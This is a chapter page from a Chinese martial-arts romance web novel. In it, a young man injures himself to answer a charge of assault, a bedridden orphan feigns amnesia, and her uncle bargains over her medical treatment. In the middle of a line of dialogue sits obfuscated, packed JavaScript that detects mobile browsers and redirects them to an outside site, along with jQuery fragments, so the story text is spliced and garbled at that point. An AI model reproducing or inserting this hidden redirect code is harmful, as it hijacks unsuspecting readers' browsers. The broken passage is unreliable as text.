默认冷灰
24号文字
方正启体

4. 第 4 章

作者:秋忽晚本书字数:K更新时间:
    “到了此时你还敢如此嚣张?”萧凌风气得浑身颤抖,一个闪身便冲到门前,“锵”地一声抽出护卫腰间佩剑,“欺辱弱质女流算什么本事,我今日就要替枕月讨回公道。”


    徐照雪淡淡扫过他,对萧凌风的挑衅视而不见,只盯着床上女子缓声问道:“你颈侧的伤,真的是我所为?”


    他是徐照雪?眼前这个神情倨傲,咄咄逼人如出鞘利剑般的男子是徐照雪?


    误会啊,天大的误会!


    谢枕月就是再瞎,也不可能把他跟石室中的那人搞混。他们完全不一样!


    可他这副理直气壮的样子,让她怒从心头起。


    她躺在这总是拜他所赐吧?于是恶向胆边生。


    谢枕月的眼睛瞬间蒙上一层雾气,整个人瑟缩了一下,紧紧抿着嘴唇,委屈巴巴地垂下眼帘。


    “还说不是你!”萧凌风一见谢枕月的模样,立刻就炸了,朝着徐照雪狠狠啐了一口,长剑直指他鼻尖,“无耻小人,能对弱质女流下这样的狠手,敢做不敢当的缩头乌龟!”


    “敢不敢出来……”


    “长辈在此,岂容你放肆!”萧嵘反应过来立即横跨一步,挡在两人面前,“你要是眼里还有我这个大伯,就给我住手!”他几乎用吼的。这些后辈就没一个省心的:“此事我自会替枕月做主。”


    “还不退下!”


    萧凌风死死扣住手中长剑,越过萧嵘狠狠盯住徐照雪,气得浑身颤抖。他知道以两家的关系,这事拖着拖着就会没了下文,徐照雪说到底也是为了帮萧家人出头。


    “难道就这么算了?”


    徐藏锋上前一步接道:“贤侄放心,此事断不会就这么算了。”他声音里满是失望与愤怒:“我徐藏锋怎么就生了你这样的孽障!”


    “唉,徐兄……”萧嵘叹气连连,“枕月这次行事确实有失体统,连姓聂的也敢招惹,我既负责她的教养之责,此事责无旁贷,”


    他朝萧凌风无奈道:“你要怪,就怪我好了。”


    “大伯……”


    “贤侄放心,我定给枕月一个交代!”徐藏锋话音未落,足尖轻轻一勾,萧凌风握在手中的长剑竟突然脱了手,直直朝着自己胸口飞去。


    “爹!不要!”徐照雪一声怒吼,几乎是凭着本能飞身上前,不管不顾的徒手扣住剑身,将剑刃狠狠砸在地上。


    萧嵘惊魂未定,语气里满是不赞同:“徐兄,你这又是何苦……”


    见到徐照雪手上的伤,他又立即吩咐道:“凌风,快去看看贤侄手上的伤……”


    徐照雪却像是没听见萧嵘的话,盯着徐藏锋冷冷道:“我做的事,我自己心里清楚,后果也该由我自己承担,不用旁人替我受过。”


    说罢,他兵刃出鞘,长剑挥洒间,他已经重重跪倒在地,随即手腕翻转,剑锋飞快掠过腕间。


    几乎是一眨眼的功夫,只听到“哐当”一声,徐照雪双臂无力地垂在身体两侧,长剑脱手滑落在脚边。


    徐照雪四肢与谢枕月同样的位置,霎时血流如注。他却直直跪在地上,仍是望向床上女子:“你颈上的伤,真的是我伤的吗?”


    ……


    事情已经过去整整两日,谢枕月想起那双冷若冰霜的眸子,却半点不带不心虚的。


    当时她眼见事情一发不可收拾,当即发挥了一下她为数不多的表演天赋。她惊慌失措,带着哭腔反复尖叫嗫嚅:“不记得了…我什么都不记得了……”


    这场唱到高潮的大戏,如同被她一把掀了戏台。


    那天过后,屋后瀑布飞溅的“哗哗”声都变得悦耳无比。如今她跟徐照雪,马马虎虎算扯平吧。


    徐照雪出事后,萧嵘这两日只看过她两次。而且稍坐片刻就走,看她的神色越来越复杂,几次欲言又止地追问:她是否真的不记得之前的事了?


    不管萧嵘信不信,反正谢枕月一口咬死,自己什么也不记得了!


    除了萧嵘,唯一来看她的只有萧凌风,只要一有空就会往她这里跑。


    从他嘴里才知道自己已出了金水城,此刻在一处名为寒鸦林的山谷中。她现在的居所是一处建在湖面上的排屋,像把一个大写的“T”字,向左放倒,她便住在右侧最打头那处。


    徐照雪的伤跟她一样不宜挪动,他也被就近安排在此处居住。


    徐藏锋公事繁忙,不能在此久留,换了女儿徐漱玉来此照看徐照雪。


    萧凌风小心翼翼的透露另一个消息:“云夕跟徐照雪由两家长辈做主,将婚期定在了来年六月。”


    “哦。”谢枕月淡淡应着。她哪有空管他们什么时候成亲,有那闲功夫,还不如操心少的那几味药什么时候能送到。


    眼下最迫切的,还有她的伤能不能治,还有没有站起来行走的可能?


    “是有些麻烦……”萧凌风沉吟着开口。


    见谢枕月已经变了脸色,慌忙解释:“但你别急,五叔从小游历天下,遍访各地名医,集众家医术之所长。之前也有类似的伤者,被仇家重伤后,送来此处,如今已经活蹦乱跳了。”


    谢枕月悬着的心稍稍放下,昨天还好,今天她一开口,喉咙生疼不说,声音还粗粝的像指甲挠门:“能治就好,五叔什么时候能开始替我治伤呢?”


    这都两天过去,连床对面那张雕花案几上,具体有几片花瓣都了如指掌了。


    接下来就要数悬挂在头顶,香囊上垂下来的流苏了。这是她说屋里有血腥味,萧凌风送过来的。


    萧凌风略一思索:“少了几味药,出事那日我已经找人去通知温老板加急寻药送来,应该快了,至于什么时候,你等我片刻,五叔刚才就在徐照雪房里,我去去就来。”


    “我等你!”谢枕月巴巴目送他出门。这萧凌风简直不要太可爱,要不是他,她怕是要乳腺不通了。


    萧淮在房里查看徐照雪的伤势,萧嵘就在门外来来回回地踱步。


    过了许久,萧淮终于出来。


    “大哥在外威名赫赫,怎么这两日神不守舍……”萧嵘隔一会就要问他一句,不是问徐照雪便是问谢枕月。他找了个借口将人支了出去,谁知道他就站在门口。


    “外人跟自己人怎么能一样。我宁愿几天几夜不睡,去清缴血衣楼的余孽,也不愿断这些小辈的是非官司。”


    “劳你多费些心神,一个个的性子也实在太要强,”萧嵘叹气。


    两人边走边聊:“枕月这次确实过分了些,就连凌风也……咄咄逼人到这份上,也是我始料未及。”


    排屋中间位置,是一处开阔的茶室。


    萧淮在圈椅上坐下,目光投向平静无波的湖面,语气淡漠:“谢枕月一贯如此,我以为大哥早就司空见惯。如今看来,”他一顿,侧头看向萧嵘,“大哥连亲生女儿也能放到一边。”


    “这府中,恐怕只有大哥才会信她什么都不记得了。”


    萧嵘叹着气,在他对面坐下:“你的意思是……她是装出来的?”


    “既能逃脱责罚,又那博取同情,一举多得。这些年来她恣意妄为,能留得一条小命,已是她祖上积德。”


    “如今倒是安分守己了。”萧淮抬眼朝谢枕月所在的方向望去,“不如就让她永远跟床榻为伴,或许还能多活些时日。”


    微风轻拂,竹帘轻晃。萧嵘掀了下眼皮,盯着晃动的竹帘,许久没有开口。


    萧淮难得见他大哥没有反驳:“此处本是我自留的休憩之所,建造时花费了不少心思。看在她父母的份上,留给她居住就是。大哥也不必担心她伤势恶化,我会派人仔细照看,绝不薄待了她……如此,也算偿还了她父母的恩情。”


    萧嵘沉默着,像是忘了反应。


    “大哥意下如何?”萧淮轻声追问。


    萧嵘搓着眉心,重重一叹:“枕月自幼失了父母,我怎么忍心这样对她。等她得知自己一辈子将要躺在床榻上度过,以她的烈性,怕是……”


    又是这一套,“她要真的存了死志,怎么次次都能被大哥瞧见……”


    心口处陈年旧伤遍布,疤痕更是交错纵横。萧淮之前替她包扎时看的一清二楚,他甚至能想象的出来,谢枕月每次犯错后,一哭二闹三上吊的场景。


    他大哥面对这挟恩以报的孤女,一直束手无策。萧淮已经懒得再劝。


    “这次我定严加管教,绝不姑息。”萧嵘信誓旦旦的保证,目光掠过身前之人,来回打量,狐疑道,“老五,你之前虽不喜她,也只求个眼不见心不烦,今日怎么……就差喊打喊杀了?”


    那是因为……


    萧淮顿了几息,没等他开口。


    “


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16414479|184689||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    五叔,求您救她!”萧凌风其实来了有一会。他躲在柱子后鬼鬼祟祟听了半天,听到萧淮说要让谢枕月自生自灭,终于忍不住跳了出来。


    萧淮的目光淡淡扫来,他缩了缩脖子。


    他从十二岁便在医庐里跟着萧淮辨识药草,研习脉案,两人虽为叔侄,却如师如父。


    萧淮平日里万事不上心,却在教导他的事情上较真非常。一点点细微的差错,便能揪着他反反复复的不放。


    萧凌风本有仗剑走天涯的侠客梦,却没逃脱父亲跟大伯的双重压力。他们想让他在医庐学些本事,将来接手此处。


    可是他跟五叔只差八岁而已,谁能说的准,他的命就一定比五叔的长?


    老顽固们说不通,等他寻了机会定要出去闯一闯,眼下还是先替谢枕月求情要紧。


    萧嵘对自家人最心软,那是好说话的很。


    “大伯,您最疼枕月了,怎么忍心看她这样渡过下半辈子。”


    “爱护家人是好事,但你今日实在太过了些,”萧嵘板故意起脸,“还没罚你呢,你还有脸来替枕月求情。”


    萧凌风嘿嘿一笑,他一点也不怕萧嵘。


    “谁让那无耻之徒敢做不敢当,”说起这个他就来气,“大伯你是没到那手指印,还有额头那大包,我原以为是枕月自己不小心碰撞所致,想来也是他黑心所为。道貌岸然的伪君子,简直猪狗不如!”


    “越发口无遮拦,”萧嵘重重斥道,“尚无定论,岂可信口开河!”


    “咳,咳,咳!”


    “五叔,你怎么了?”萧凌风去摸茶水发现茶水已经凉透,殷勤备至的提起茶壶,“我去替您沏新茶去。”


    萧淮瞥他一眼:“若是别有所图,那就算了。”


    萧凌风动作一滞,萧淮有多厌恶谢枕月他知道。对了,他还有杀手锏,慌忙从怀中抖信笺:“刚收到祖父来信,他跟无相大师快回来了,信中还说会在家中休息一段时日,暂时不出门了。”


    “老爷子要回来了!”萧嵘接过信笺,确认无误后,又递给萧淮过目。


    “祖父最喜欢枕月了……”


    连老爷子也搬出来了,萧嵘面上掠过一丝无奈的笑:“好了,你五叔是什么样的人你还不清楚吗?”自己没点头,老五断然不会违背他的意愿。


    “要我救她也不是不可以,”萧淮瞥他一眼,突然松口。


    “只要五叔答应救她,我每日三更歇,五更起,比那驴子还好使,什么都可以答应。”说着举手就要当场立誓。


    萧嵘道:“我们是想让你学些本事,日后等我们都不在了,你也能独当一面,你跟那驴子比什么?”


    “天塌下来自有个高的顶着,不是还有凌云吗。”


    “你呀……”


    本来就是,萧王府后继有人,这医庐自有五叔在,萧凌风觉得这样很好。此刻生怕萧淮反悔,慌忙追问:“五叔,还有什么问题?


    “以我跟她的过节,答应替她医治已是仁至义尽,这过程所需的花费,谢枕月一个子也不能落下。”


    “这要怎么算?”谢枕月的钱还不是出自萧王府?


    萧王府的收入营生,大半出自寒鸦林中的医庐,接续经脉虽要耗费不少珍稀药材,但对他们来说不过九牛一毛。萧淮怎么会突然提起这个?


    萧嵘刚想开口询问,萧淮重重咳了声,他干脆闭口不言。


    “没问题!她要是不够,我那还有。”虽然不明白五叔为什么要这么说。不过只是些钱财而已,从小到大,萧凌风从来没为这些发过愁,只觉得那跟书房里的宣纸一样,可有可无,还到处都是。


    萧淮将萧临风打发走后,转身对萧嵘正色道:“大哥,日后切不可再许谢枕月或凌风任何财物。她既连买凶伤人这等事都做得出来,若手中银钱宽裕,难保日后不会故技重施,甚至变本加厉。”


    “凌风年轻气盛,对她又心存好感,几乎是有求必应。唯有从根源上断绝银钱往来,方能防患于未然。”


    萧嵘闻言,先是一滞,随即点头:“你所言有理,就按你说的办。”


    “对了,”他差点忘了最重要的事,神色一肃,“凌风那孩子怕是关心则乱,我们一道过去瞧瞧枕月额上的伤,是否要紧。她突然不记得之前的事……会不会留下别的暗疾?”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)